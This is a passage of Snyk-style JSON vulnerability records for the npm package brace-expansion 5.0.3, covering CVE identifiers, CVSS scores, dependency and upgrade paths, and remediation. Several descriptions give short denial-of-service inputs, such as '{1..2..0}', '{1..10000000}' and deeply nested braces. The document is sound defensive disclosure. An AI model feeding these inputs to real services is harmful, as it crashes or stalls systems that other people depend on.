"GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, 